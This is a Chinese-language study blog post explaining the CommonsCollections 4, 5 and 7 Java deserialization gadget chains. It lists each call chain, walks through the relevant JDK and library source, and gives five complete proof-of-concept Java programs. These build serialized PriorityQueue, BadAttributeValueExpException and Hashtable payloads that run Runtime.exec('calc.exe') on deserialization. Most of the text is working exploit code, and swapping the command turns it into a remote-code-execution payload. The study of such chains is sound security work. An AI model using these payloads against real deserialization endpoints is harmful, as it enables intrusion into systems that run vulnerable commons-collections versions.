一、前言
前面的文章中,基本把CC链的关键部分学习的差不多了,利用过程也是比较清晰了,接下来把 CommonsCollections 4、5、7 利用链学习下,扩展下思路
二、CommonsCollections4 利用链的学习
运行环境:
java 1.8.0_71commons-collections4.0
1、利用链说明
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses.newInstance()
Runtime.exec()
整体来说,其实没有什么新的东西,类似CC2 和 CC3链的结合体, 用了PriorityQueue类,同时又避免用 IvokerTranformer;
测试POC如下:
TemplatesImplForCC4.java
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
public class TemplatesImplForCC4 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
protected static byte[] getBytescode() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
return clazz.toBytecode();
}
public static void main(String[] args) throws Exception {
Templates obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});
setFieldValue(obj, "_name", "Hello");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer faketransformer = (Transformer) new ConstantTransformer(1);
Transformer transformer = (Transformer) new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});
Comparator comparator = new TransformingComparator(faketransformer);
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(TrAXFilter.class);
queue.add(TrAXFilter.class);
setFieldValue(comparator, "transformer", transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
三、CommonsCollections5 利用链的学习
运行环境:
java 1.8.0_71commons-collections 3.2.1
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
CC5链的利用还是着眼于 LazyMap.get(), 这里是找到 org.apache.commons.collections.keyvalue.TiedMapEntry,只是CC6链中是用org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()方法调用其getValue() 方法, CC5链用的是 org.apache.commons.collections.keyvalue.TiedMapEntry.toString() 方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
也是调用getValue,跟之前的分析一致,测试代码
package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class CC5Test {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}
所以,接下来要找的就是哪里在反序列化的时候会调用TiedMapEntry#toString()
这个类就是 javax.management.BadAttributeValueExpException , 其readObject() 方法会调用toString()
查看下这个 valObj 是从哪里来的
这里是从Field 取出来的, 那么,利用方式就很清晰了, 通过设置 javax.management.BadAttributeValueExpException 中 val 的值为 TiedMapEntry对象即可触发命令执行,我们尝试下,发现没成功。
因为,如果一开始就给 val 赋值为 TiedMapEntry , 那么在赋值的时候就会触发rce
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
如果我们直接将构造好的 TiedMapEntry 传进去,实例化的时候就会触发toString,此时 val 的值为 ,这就导致后续反序列化的时候不会触发rce ,因为这个时候的 val 已经不是 TiedMapEntry对象了。 所以这里我们需要用反射的方式
反射poc如下:
package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class CommonsCollections5 {
public static void main(String[] args) throws Exception{
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})
});
HashMap innerMap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innerMap, chain);
TiedMapEntry tiedMap = new TiedMapEntry(map, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(123);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(poc);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
四、CommonsCollections7 利用链的学习
首先,看看利用链
/* Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
*/
后半段还是 LazyMap#get 的利用链, 主要观察前半段,在CC1 的利用链中是通过 AnnotationInvocationHandler#invoke 来触发恶意代理handler 调用其 invoker 方法从而触发 LazyMap#get 方法 但是 CC7 链中是通过 org.apache.commons.collections.map.AbstractMapDecorator#AbstractMap#equals 来触发对 LazyMap#get 方法的调用。
通过利用链,我们正向分析下,入口点是 java.util.Hashtable.readObject, 跟进
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
在最后调用的是 reconstitutionPut方法,这里的key、value值可以通过 hashtable中的put方法进行添加。 继续跟进 reconstitutionPut 方法
这里关键是 equals 方法的调用,先进入for 语句, 然后是个if判断语句, 必须是 e.hash == hash 判定为真才会执行后面的 e.key.equals(key) 。
其中 hsah 就是 key.hashCode() , 那么再看 e是什么?
Entry<?,?> e = tab[index] ; e != null ; e = e.next
继续查看 index是什么
int index = (hash & 0x7FFFFFFF) % tab.length;
所以大概意思就是 ,先计算 key 的 hashCode(即hash值), 然后根据hash值 计算存储索引 index, 再通过 for循环得到 e.next 也就是上一个 map 键值对, 之后进入 if 判断两者 hash值是否相同, 找不到就把这个键值对加入到tab中, 如果hash相同的话,就进入 e.key.queals(key) 中。
那么是不是直接put两个key值一样的键值对进去呢,答案是不行,因为在 readObject中进行了判断:
可以看到还原table数组时是根据 elements 来判断的, 而如果key 相同时 element 计算会把两个map 计算为只有一个map。所以这里关键点是 ,put两个key不一样的 键值对,但是hash要相同,故这里可以用 hash碰撞来解决。
继续看调用的 equals 方法, 在利用链中 e.key 为LazyMap 对象,但是 LazyMap 对象没有 equals 方法, 不过它 继承了 AbstractMapDecorator 类,所以会调用AbstractMapDecorator 类 equals 方法
继续跟进会调用 map.equals() ,而这里的map是什么呢?是在 Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 所以这里的map 就是 HashMap, 但是 HashMap也没有 equals 方法,但是其继承了 AbstractMap 类。
所以这部分的利用就是 e.key 是 LazyMap的话,并且LazyMap 经过 LazyMap.decorate 包装了 HashMap,所以会依次调用 AbstractMapDecorator.equals() ---》 AbstractMap.equals()
在这里进行了 get方法的调用,条件是 value 不是 null时,同时m 为 LazyMap才能触发rce。 这里m是为传入 equals 的Object,
如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。 所以也就是java.util.Hashtable.HashTable#reconstitutionPut 传入的key 也必须是 LazyMap对象。
构造测试poc如下:
package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc.exe"};
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}
注意点1: 为什么要用 Lazy2.remove("yy") ; 删除yy键值对?
因为
hashtable.put(lazyMap2, 2);
的时候处理和反序列化的处理类似,提前触发了一遍get,跟进put这里会跟上面说的一样在进行判断的时候直接调用到get方法,然后提前执行给的ChainedTransformer, 还有在get执行的时候会添加key值,导致反序列化时就不能执行后续反射修改的恶意的transformers了。
所以在最后要删除掉 Lazy2的 yy键值对
继续改造下,既然上面计算hash调用的时候调用了 hashCode 方法,是不是可以结合CC6, 把key变成 TiedMapEntry , 然后触发 TiedMapEntry 的 hashCode 方法呢
构造poc:
package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
public class TiedMapforCC7 {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map2 = new HashMap();
Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));
Lazy.put("zZ",1);
TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");
Hashtable hashtable = new Hashtable();
hashtable.put(tie,1);
Lazy.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}